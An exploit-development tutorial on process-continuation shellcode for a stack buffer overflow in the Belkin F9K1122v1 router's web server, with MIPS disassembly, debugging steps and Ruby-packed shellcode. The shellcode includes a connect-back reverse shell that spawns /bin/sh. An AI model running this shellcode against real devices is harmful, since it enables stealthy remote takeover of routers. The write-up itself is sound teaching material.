Teaching an Old Dog New Tricks:
This write-up is a collaboration between Azeria and @b1ack0wl, who developed the exploit targeting a Buffer Overflow in the MIPS device Belkin F9K1122v1. This initial exploit can be found on exploit-db: Belkin F9K1122v1 1.00.30 – Buffer Overflow. The target device is running a Lexra based MIPS chip based on MIPS-I ASM which is different from the MIPS-II based MIPS32.
Finding a vulnerability and getting shellcode to execute is an euphoric feeling, but have you ever had the target program crash afterwards? In this tutorial, we are going through the thought process of developing process continuation shellcode and implementing it into the existing exploit. The new exploit will then be demonstrated after transforming it into a working Metasploit module.
Table of Contents:
- What is process continuation?
- Root causing the bug
- Analyzing normal execution
- What is needed to resume execution?
- Developing the shellcode to patch memory
- Custom shellcode overview
- Demo
MIPS Assembly Basics
These Boxes contain the relevant MIPS instructions for each section, to make this write-up easier to read for people who are not very familiar with MIPS. The instructions are represented and explained as follows:
INSTRUCTION – Description of the instruction
[Pseudo-Syntax of the instruction]
[Syntax of the instruction]
[Example]
Process continuation is the ability to keep a process running as if nothing happened after exploiting a memory corruption vulnerability. This is important for things like:
- Being sneaky (if your exploit causes a crash that’s visible to the target -> game over),
- Kernel exploitation (Kernel Panic || Blue screen),
- Being able to re-exploit a processes that does not have a watchdog.
The original exploit that was developed for the F9K1122v1 results in code execution, but once the reverse shell disconnects the process exits and a new process is spun up via a watchdog. The goal is to redo the exploit and shellcode to have the vulnerable service stay up after exploitation.
Even though the vulnerability discussed in this post is a stack based overflow, the methods presented can also be used for developing process continuation for other types of vulnerabilities. The following is a high level outline of the steps when developing shellcode for process continuation:
- Analyze normal run-time behavior
- Figure out what’s corrupted and why
- Figure out how to repair it
- Figure out where to return to and not have the process fall over
- Document failures
- Repeat until you get it.
Using a combination of run-time blackbox testing, static analysis, and source code analysis (if possible) will get you much better results than trying to rely on only one of those methods.
MIPS Assembly Basics
JR – [Jump Register] Jump to the address contained in register.
jr register
jr $s
jr $ra
JALR – [Jump And Link Register] Jump to the address contained in register rs, with a 1-instruction delay. Place the address of the instruction following the delay slot in register rd.
jalr register_to_hold, register_to_jump_to
jalr rd, rs
jalr $t9
SW – [Store Word] Store contents of a register at the specified address.
sw register_destination, memory_source
sw $t, offset($s)
sw $ra, 0x90+var_4($sp)
LUI – [Load upper immediate] Shift the immediate value left 16 bits and store it into the register. The lower 16 bits are zeroes.
lui register, immediate_value
lui $t, imm
lui $a2, 0x47
LW – [Load Word] Load a word from the specified address into a register.
lw register, address
lw $t, offset($s)
lw $gp, 0x90+var_80($sp)
LA – [Load Address] Copy memory address of var1 (presumably a label defined in the program) into a register.
la register, label
la $t9, websGetVar
[Hint: LA is a Pseudo Instruction and consisting of two instructions, LUI and ORI]
ADDIU – [Add immediate sign-extended] Adds a register and a sign-extended immediate value and stores the result in a register.
addiu destination_register, source_register, immediate_value
addiu $t, $s, imm
addiu $s1, $sp, 0x90+var_74
MOVE – [Move Pseudo Instruction] Moves the contents of one register into another.
move desitination_register, source_register
move $t, $s
move $a0, $s0
[Hint: MOVE is a Pseudo Instruction and compiled into an add instruction: add $t0, $zero, $t]
The root cause of this stack-based buffer overflow is the usage of sprintf() to write into a statically sized stack based buffer of 100 bytes as a string based argument (%s) with the source being the HTTP POST argument webpage (after percent decoding).
void formSetLanguage(webs_t wp, char_t *path, char_t *query) {
char tmpbuf[100]; // Static stack based buffer of 100 bytes
[snip]
setErr:
urltmp = websGetVar(wp, T("webpage"), T("")); // Return a pointer to where the HTTP POST Argument 'webpage' is
sprintf(tmpbuf, "/%s", urltmp); // Write the contents of the HTTP POST Argument as a string into the static stack based buffer
The vulnerable function formSetLanguage() can be found within the binary webs which was extracted from the downloaded firmware update. The disassembly for the above C code is shown below.
00440C9C addiu $sp, -0x90 00440CA0 sw $ra, 0x90+var_4($sp) // Return address is saved onto the stack 00440CA4 sw $s1, 0x90+var_8($sp) // $s1 will get clobbered 00440CA8 sw $s0, 0x90+var_C($sp) // $s0 will get clobbered [snip] 00440EB4 move $a0, $s0 // Source buffer that contains the decoded HTTP POST request. 00440EB8 lui $a2, 0x47 00440EBC la $a1, aWebpage_0 00440EC0 la $t9, websGetVar 00440EC4 la $a2, (aForm_2+0xC) 00440EC8 jalr $t9 ; websGetVar // Grab the HTTP POST argument "webpage" 00440ECC addiu $s1, $sp, 0x90+var_74 // $s1 == Stack based buffer 00440ED0 lui $a1, 0x47 00440ED4 move $a0, $s1 // Destination Buffer for sprintf() 00440ED8 lw $gp, 0x90+var_80($sp) 00440EDC move $a2, $v0 // PTR to the content of the HTTP POST argument "webpage" 00440EE0 la $t9, sprintf 00440EE4 jalr $t9 ; sprintf // Clobber dat Stack 00440EE8 la $a1, aS // "/%s" 00440EEC move $a0, $s0 00440EF0 lw $gp, 0x90+var_80($sp) 00440EF4 la $t9, websRedirect 00440EF8 jalr $t9 ; websRedirect 00440EFC move $a1, $s1 00440F00 lw $ra, 0x90+var_4($sp) // Corrupted 00440F04 lw $s1, 0x90+var_8($sp) // Corrupted 00440F08 lw $s0, 0x90+var_C($sp) // Corrupted 00440F0C jr $ra 00440F10 addiu $sp, 0x90
With this information we know the following:
- A continuous string that is > 100 bytes is needed to cause the overflow (see C code).
- The registers $s0, $s1, and $ra will contain values from the overflow since they are loaded off of the stack after being clobbered (see disassembly).
Next, we need to know what normal execution looks like in order to mimic the same behavior. The idea is to return back to a function that doesn’t rely on previously saved stack values since they’ve been overwritten. A good first step is to set breakpoints on the entry and exit of each function starting from the vulnerable function and going back until the main loop has been reached since this is a server that serves forever.
MIPS Assembly Basics
B – [Branch Unconditionally] Branch to a function label
b function_label
b loc_40D558
[Hint: B is a Pseudo Instruction and is actually a beq $zero, $zero, label]
LI – [Load Immediate] Load immediate to a register
li register, immediate_value
li $gp, 0x49C740
[Hint: LI is a Pseudo Instruction and consists of two instructions: LUI and ORI]
BEQZ – [Branch If Not Equal Zero] Branch to function label if register is not zero.
beqz register, function_label
beqz $v0, loc_411700
J – [Jump] Unconditional Jump to the instruction at the label
j label_target
j sub_412330
With the disassembly of formSetLanguage() from the previous section, we need to set a breakpoint at the instruction jr $ra at offset 0x00440F0C using the command “b *0x00440F0C“. Once we hit the breakpoint, we can display the address of the callee function using the command “i r $ra“.
set arch mips set endian big target remote 192.168.206.1:1337 # Using GDBServer b *0x00440F0C commands i r $ra continue end continue
Then trigger the vulnerable function formSetLanguage(), but not the vulnerability itself.
Breakpoint 1, 0x00440f0c in ?? () ra: 0x412458
The return address points to the function handleForm() at offset 0x412458 which has the following lines of code:
00412458 lw $gp, 0x38+var_28($sp)
0041245C lw $ra, 0x38+var_4($sp)
00412460 lw $s3, 0x38+var_8($sp)
00412464 lw $s2, 0x38+var_C($sp)
00412468 lw $s1, 0x38+var_10($sp)
0041246C lw $s0, 0x38+var_14($sp)
00412470 j sub_412330
00412474 addiu $sp, 0x38

The instructions read off of the stack and load the values into $s0, $s1, $s2, $s3, $ra, and $gp. The next function sub_412330 saves $ra, $s1, and $s0 onto the stack then does some operations with the global variable root_temp and returns by jumping to $ra.
00412330 addiu $sp, -0x28 00412334 sw $ra, 0x28+var_4($sp) 00412338 sw $s1, 0x28+var_8($sp) 0041233C sw $s0, 0x28+var_C($sp) 00412340 li $gp, 0x49C740 00412348 sw $gp, 0x28+var_18($sp) 0041234C la $v0, root_temp 00412350 lw $s0, (dword_494F9C - 0x494F98)($v0) 00412354 sw $zero, (dword_494F9C - 0x494F98)($v0) 00412358 [snip] 00412394 lw $ra, 0x28+var_4($sp) 00412398 lw $s1, 0x28+var_8($sp) 0041239C lw $s0, 0x28+var_C($sp) 004123A0 jr $ra 004123A4 addiu $sp, 0x28
By repeating the same steps we find that the function at offset 0x412330 returns to the function process_requests() at offset 0x40d4ac as shown below.
Breakpoint 2, 0x004123a0 in ?? () ra: 0x40d4ac
0040D4AC lw $gp, 0x48+var_38($sp) 0040D4B0 b loc_40D558 0040D4B4 move $a3, $v0 0040D558 la $v1, sigterm_flag [snip] 0040D61C bnez $s0, loc_40D418 0040D620 nop 0040D624 lw $ra, 0x48+var_4($sp) 0040D628 lw $fp, 0x48+var_8($sp) 0040D62C lw $s7, 0x48+var_C($sp) 0040D630 lw $s6, 0x48+var_10($sp) 0040D634 lw $s5, 0x48+var_14($sp) 0040D638 lw $s4, 0x48+var_18($sp) 0040D63C lw $s3, 0x48+var_1C($sp) 0040D640 lw $s2, 0x48+var_20($sp) 0040D644 lw $s1, 0x48+var_24($sp) 0040D648 lw $s0, 0x48+var_28($sp) 0040D64C jr $ra 0040D650 addiu $sp, 0x48
Then by stepping through the function process_requests() we find out (by looking at the value in $ra before the jr $ra instruction is called) that the saved return address is 0x411a68 aka loop() and is reached when $s0 (pointing to the global variable request_ready) is NULL. Loop() makes decisions based on a list of global variables, which means that the global variables must contain zero’s, otherwise loop() will make a decision and jump to another function. When the vulnerability is triggered and a crash happens, the value of this global variable $s0 is changed to 1, which causes the instruction bnez to fire and branch to 0x40D418. The function loop() never returns and literally loops forever and uses those global values to call the corresponding function to parse incoming request. That’s why loop() will be the target function to return to since returning to any of the other callee function requires the stack to be repaired and attempting to repair a clobbered stack is very costly in shellcode space.

The execution flow described above was an overview of how the vulnerable function is called. After returning from the vulnerable function, the execution flow continues in this sequence: incoming request -> loop() -> process_requests() -> handleForm() -> formSetLanguage(). We won’t cover the details of it and only focus on process continuation once the vulnerable function is successfully exploited.
The easiest thing to do would be to adjust the stack back to loop(), find out if any arguments need to be set ($a0, $a1, $a2…etc), figure out if any global variables need to be modified, and then return. Adding in the reverse shell shellcode will be the last step since the main goal is to get the program to continue execution after triggering the overflow.
Now that we gathered a high level idea of the normal execution flow in the previous section, we need a bit more reversing in order to figure out if there are any variables that need to be modified to prevent any crashes when returning back to loop().
Let’s look at the beginning of the loop() function:
00411560 addiu $sp, -0x58 00411564 sw $ra, 0x58+var_4($sp) // never read from 00411568 sw $fp, 0x58+var_8($sp) // never read from 0041156C sw $s7, 0x58+var_C($sp) // never read from 00411570 sw $s6, 0x58+var_10($sp) // never read from 00411574 sw $s5, 0x58+var_14($sp) // never read from 00411578 sw $s4, 0x58+var_18($sp) // never read from 0041157C sw $s3, 0x58+var_1C($sp) // never read from 00411580 sw $s2, 0x58+var_20($sp) // never read from 00411584 sw $s1, 0x58+var_24($sp) // never read from 00411588 sw $s0, 0x58+var_28($sp) // never read from 0041158C li $gp, 0x49C740 00411594 sw $gp, 0x58+var_40($sp) // is read from 00411598 la $v0, block_read_fdset 0041159C move $s1, $a0 // Argument is needed 004115A0 addiu $v1, $v0, (staTbl - 0x499748) [...snip...] 004115D8 la $s5, aConnectionTime 004115DC la $fp, sigalrm_flag // Global 004115E0 la $s2, block_read_fdset 004115E4 la $s7, ka_max // Global 004115E8 la $s4, stderr 004115EC la $s6, ka_timeout // Global 004115F0 la $s3, block_write_fdset 004115F4 sw $v1, max_fd // Global 004115F8 la $v1, sighup_flag // Global 004115FC lw $v0, (sighup_flag - 0x496854)($v1) 00411600 beqz $v0, loc_411618 // Must be 0 or else exit() is called 00411604 nop 00411608 la $t9, sighup_run 0041160C jalr $t9 ; sighup_run 00411610 nop 00411614 lw $gp, 0x58+var_40($sp) 00411618 la $a0, sigchld_flag // Global 0041161C lw $v0, (sigchld_flag - 0x496858)($a0) 00411620 beqz $v0, loc_411638 // Must be 0 or else exit() is called 00411624 nop 00411628 la $t9, sigchld_run 0041162C jalr $t9 ; sigchld_run 00411630 nop 00411634 lw $gp, 0x58+var_40($sp) 00411638 lw $v0, 0x58+var_58($fp) 0041163C beqz $v0, loc_411654 // Must be 0 or else exit() is called 00411640 nop 00411644 la $t9, sigalrm_run 00411648 jalr $t9 ; sigalrm_run 0041164C nop 00411650 lw $gp, 0x58+var_40($sp) 00411654 la $v0, sigterm_flag // Global 00411658 lw $v0, (sigterm_flag - 0x496860)($v0) 0041165C beqz $v0, loc_411700 // Must be 0 or else exit() is called 00411660 li $v1, 1 ...etc
The Disassembler reported that the register $ra that is first saved onto the stack is never read from again, which means that the function loop() never returns unless a signal is thrown. There are multiple global variables that are read from for the beginning branch conditionals that ultimately call exit(), but they do not need to be modified since they all contain the value 0x00000000. For this reason, loop() is a good place to jump back to since it doesn’t return to anything. This way, we don’t need to repair anything on the stack and only need to find the variables that loop() needs in order to not crash.
All of the other global variables were manually looked at upon run-time to help speed up reversing efforts and it was found that the only variables that change when the vulnerability is triggered are request_ready and total_connections, which are changed from 0x00000000 to 0x00000001. These two global variables need to be set back to 0x00000000 or else the function loop() will immediately call process_requests() upon return and possibly crash. In other words, loop() will change those variables when a connection comes in and then reprocess the request again and again. For loop() to not do anything, the values must be equal to 0.
The last thing was to figure out the value of the argument passed to loop() and these are the different ways that were used to figure that out with confidence:
- Set a breakpoint on the entry of loop() and print the value of $a0.
- Download the GPL for the Belkin F9K1122v1 and look at the source code for boa.
When trying out the first approach it turned out that $a0 was populated with the value 0x00000003 which usually corresponds with a file descriptor number. Looking at the source code via the GPL tarball, it was clear that the argument for loop() is a file descriptor number that is returned by socket() as shown in the C snippet below.
int main(int argc, char *argv[])
{
int server_s;
server_s = create_server_socket();
[snip]
loop(server_s);
}
static int create_server_socket(void)
{
int server_s;
server_s = socket(SERVER_PF, SOCK_STREAM, IPPROTO_TCP);
[snip]
return server_s;
}
loop()
MIPS Assembly Basics
ORI – [OR Immediate] Do a bitwise logical OR with a constant.
ori destination_register, source_register, immediate_value
ori $t, $s, imm
ori t0, t0, 0xCD7C
XORI – [Exclusive OR Immediate] Do a bitwise logical Exclusive OR with a constant.
xori destination_register, source_register, immediate_value
xori $t, $s, imm
xori t0,t0, 0xCD7C
ADDU – [Add Unsigned Work] Adds a register and an unsigned immediate value and stores the result in a register.
addiu destination_register, source_register, immediate_value
addiu $t, $s, imm
addu t9, t7, t0
The last hurdle is to create shellcode that does the following:
- Patch the global variables request_ready and total_connections
- Create a stack frame for the shellcode
- Load the value 0x00000003 into $a0
- Adjust the stack back to loop()
- Return back into the entry of loop() while avoiding the bad character NULL (0x00)
The code responsible for continuing the process is shown below. The null-byte-free opcodes can be manually generated with radare2’s assembler/disassembler rasm2 module.
### Process Continuation ### ## Zero out global vars "request_ready" and "total_connections" ## $t0 == 0x00000000 continutation = [0xaee83340].pack("N") # sw t0, 0x3340(s7) request_ready continutation << [0xaee83360].pack("N") # sw t0, 0x3360(s7) total_connections ## Execute Shellcode continutation << shellcode ## Prepare to jump back to loop() ## Make a0 = 0x00000003 which is the socket fd for web server ($s5 = 0x00000002) continutation << [0x02a0c020].pack("N") # move t8, s5 continutation << [0x2704effe].pack("N") # addiu a0, t8, -0x1002 continutation << [0x24841003].pack("N") # addiu a0, a0, 0x1003 ## Copy Stack with an offset of 596(0x0254) into t8 because of NULL bytes. ## lw and sw use a WORD for the operand which means the offset used for lw/sw must be above 0x0101 in order to avoid NULL bytes. continutation << [0x27b80254].pack("N") # addiu, t8, sp, 596 (0x254) ## Restore $t7 (again) to 0x00404810 (PTR to _ftext; manually found on the stack) continutation << [0x8faf0194].pack("N") # lw t7, 404(sp) ## adjust stack back to loop() continutation << [0x271dfdec].pack("N") # addiu sp, t8, -0x0214 ## return back to loop() at offset 0x0041158C (when GP is first loaded and saved to avoid the initial stack adjust) ## 0x00404810 + 0xCD7C == 0x0041158C continutation << [0x3508CD7C].pack("N") # ori t0, t0, 0xCD7C continutation << [0x01e8c821].pack("N") # addu t9, t7, t0 continutation << [0x0320f809].pack("N") # jalr ra, t9 continutation << [0x3908CD7C].pack("N") # xori t0,t0, 0xCD7C
To put it all together the exploit flow is as follows:
- Trigger Overflow
- Patch Global Variables
- Execute Shellcode
- Adjust Stack
- Restore Argument(s)
- Return.
MIPS Assembly Basics
SB – [Store Byte] The least significant byte of a register is stored at a specified memory address.
sb $t, offset(base)
sb $zero, 0($v0)
SH – [Store Halfword] The lower 16 bits (halfword) of a register are stored at the specified memory address.
sh $t, offset(base)
sh $v0, 0x1A($sp)
BGEZ – [Branch on Greater Than or Equal to Zero] Test a register, if (rs ≥ 0) then do a PC-relative branch.
bgez $s, offset
bgez $v0, loc_4113E8
BLTZ – [Branch on Less Than Zero] Test a register, if (rs < 0) then do a PC-relative branch.
bltz
bltz $v0, loc_4113E4
When looking at the imports for the binary webs, there was an import for dup2(). After cross-referencing the import, it turned out that there was a function that creates a TCP connection and returns the file descriptor (FD). The code snippet below is that exact function from webs at offset 0x00411300.
00411300 loc_411300: # CODE XREF: LOAD:0041153Cj 00411300 addiu $sp, -0x30 00411304 sw $ra, 0x2C($sp) 00411308 sw $s0, 0x28($sp) 0041130C li $gp, 0x49C740 00411314 sw $gp, 0x10($sp) 00411318 li $a1, ":" 0041131C la $t9, strchr 00411320 jalr $t9 ; strchr 00411324 move $s0, $a0 # Requires one argument 00411328 lw $gp, 0x10($sp) 0041132C beqz $v0, loc_4113E0 # Argument must be a string and must contain the character ':' 00411330 addiu $a0, $v0, 1 # Pass the value from ':'+1 to strtol() 00411334 la $t9, strtol 00411338 move $a1, $zero 0041133C li $a2, 0xA 00411340 jalr $t9 ; strtol 00411344 sb $zero, 0($v0) # Overwrite the found ':' character with NULL 00411348 li $v1, 2 0041134C move $a0, $s0 # Source String\x00 00411350 lw $gp, 0x10($sp) 00411354 sh $v1, 0x18($sp) 00411358 la $t9, gethostbyname 0041135C jalr $t9 ; gethostbyname 00411360 sh $v0, 0x1A($sp) # ...wait a second... 00411364 lw $gp, 0x10($sp) 00411368 bnez $v0, loc_411388 [snip] 00411388 lw $v1, 0x10($v0) 0041138C la $t9, memcpy 00411390 lw $a1, 0($v1) 00411394 lw $a2, 0xC($v0) 00411398 jalr $t9 ; memcpy 0041139C addiu $a0, $sp, 0x1C 004113A0 li $a0, 2 004113A4 lw $gp, 0x10($sp) 004113A8 li $a1, 2 004113AC la $t9, socket 004113B0 jalr $t9 ; socket # ...is this... 004113B4 li $a2, 6 004113B8 lw $gp, 0x10($sp) 004113BC bltz $v0, loc_4113E4 004113C0 move $s0, $v0 004113C4 la $t9, connect 004113C8 move $a0, $v0 004113CC addiu $a1, $sp, 0x18 004113D0 jalr $t9 ; connect # ...oh my 004113D4 li $a2, 0x10 004113D8 bgez $v0, loc_4113E8 004113DC move $v0, $s0 004113E0 li $s0, 0xFFFFFFFF 004113E4 move $v0, $s0 # FD returned by socket() 004113E8 lw $ra, 0x2C($sp) 004113EC lw $s0, 0x28($sp) 004113F0 jr $ra 004113F4 addiu $sp, 0x30
All that was done afterwards was to pass the returned FD to dup2() for stdin (0), stdout (1), and stderr (2) and then call system(‘/bin/sh’).
The following shellcode does the following:
- Create stack frame for shellcode with an arbitrary offset
- Load pointer to call functions within webs by seting $t7 to 0x00404810
- We would normally use a simple lui + ori instruction to load the register with the function address, but the address contains a null-byte.
- To avoid the null-byte, we need to piece together the address by loading the address from the stack at an offset of 0x1688 to t7.
- The value at sp+1688 is 0x00411300.
- In order to reach our desired function at 0x00404810, we need to add an offset to the address we loaded into t7
- 0x00411300 – 0x00404810 = 0xcaf0
- Call function at offset 0x00411300 which takes the string “ip:addr”, connects back to it, and returns the socket fd
- Store the socket fd onto the stack, then load it into $a0 for the dup2() loop
- We can’t use the instruction ‘move a0, v0’ because it contains null-bytes
- Create dup2() loop for stdin, stdout, stderr
- Call system(“/bin/sh”)
- Readjust the stack
The code for the reverse shell is shown below.
### Custom Shellcode ### ### Metasploit Note: Use 'shell_reverse_tcp' as the payload listener ## Create stack frame for shellcode ## The offset is arbitrary and -0x0504 was chosen by random. shellcode = [0x27bdfafc].pack("N") # addiu sp, sp, -0x0504 ## Set $t7 = 0x00404810 (PTR to _ftext; manually found on the stack) ## Used to call functions within webs. Load the address from the stack at an offset of 0x1688 to t7. The value at sp+1688 is 0x00411300. shellcode << [0x8faf0698].pack("N") # lw t7, 1688(sp) # sp+1688 is 0x00411300 ## Call 0x00411300(str) ## This function takes the string "ip:addr" and connects back to it. It then returns the socket fd shellcode << [0x3508CAF0].pack("N") # ori t0, t0, 0xCAF0 shellcode << [0x01e8c821].pack("N") # addu t9, t7, t0 shellcode << [0x3908CAF0].pack("N") # xori t0,t0, 0xCAF0 shellcode << [0x0320f809].pack("N") # jalr ra, t9 shellcode << [0x27a405ac].pack("N") # addiu a0, sp, 0x5ac # ptr to lhost:lport ## Store Socket fd onto stack and then load it into a0 for the dup2() loop ## The instruction 'move a0, v0' contains NULL bytes. shellcode << [0xafa20104].pack("N") # sw v0, 0x0104(sp) shellcode << [0x8fa40104].pack("N") # lw a0, 0x0104(sp) ## dup2(a0,a1) for 0,1,2 ## Begin: 'addiu a1, a1, 0x1005'; 'addiu a1, a1, -0x1002' a1 == 3 ## Delay slot: 'addiu a1, a1, -1' ## Call dup2() @ 0x2AAD5EF0 ## bne a1,t0, -7 instructions (t0 == 0) ## Delay slot: NOP via 'lui s0, 0x4141' shellcode << [0x25051005].pack("N") # addiu a1, t0, 0x1005 shellcode << [0x24a5effe].pack("N") # addiu a1, a1, -0x1002 # a1 = 3 shellcode << [0x3c192aad].pack("N") # lui t9, 0x2AAD shellcode << [0x37395ef0].pack("N") # ori t9, t9, 0x5EF0 shellcode << [0x0320f809].pack("N") # jalr ra, t9 # dup2() shellcode << [0x24a5ffff].pack("N") # addiu a1, a1, -1 shellcode << [0x14A0FFFD].pack("N") # bnez a1, -8 # if a1 != zero: jump back 8 bytes (2 instructions) shellcode << [0x3c104141].pack("N") # [nop] lui s0, 0x4141 ## call system('/bin/sh') @ 0x2AAF0810 ## a0 == /bin/sh @ 0x2AAFF3D0 shellcode << [0x3c042AAF].pack("N") # lui a0, 0x2AAF shellcode << [0x3c192AAF].pack("N") # lui t9, 0x2AAF shellcode << [0x37390810].pack("N") # ori t9, t9, 0x5FB0 # system shellcode << [0x0320f809].pack("N") # jalr ra, t9 shellcode << [0x3484F3D0].pack("N") # ori a0, a0, 0xF3D0 # /bin/sh ## Move stack back ## Must be the same value used before, but negated (0x0504) shellcode << [0x27bd0504].pack("N") # addiu sp, sp, 0x0504
The full Metasploit Module for the Belkin F9K1122v1 “formSetLanguage” Stack-Based Buffer Overflow including process continuation shellcode can be found on GitHub.
And we are done! Here is a small demo of the Metasploit module for the working exploit including process continuation:
(If you can’t view this video, enable JavaScript for asciinema). For mobile users, here is the link to the cast.


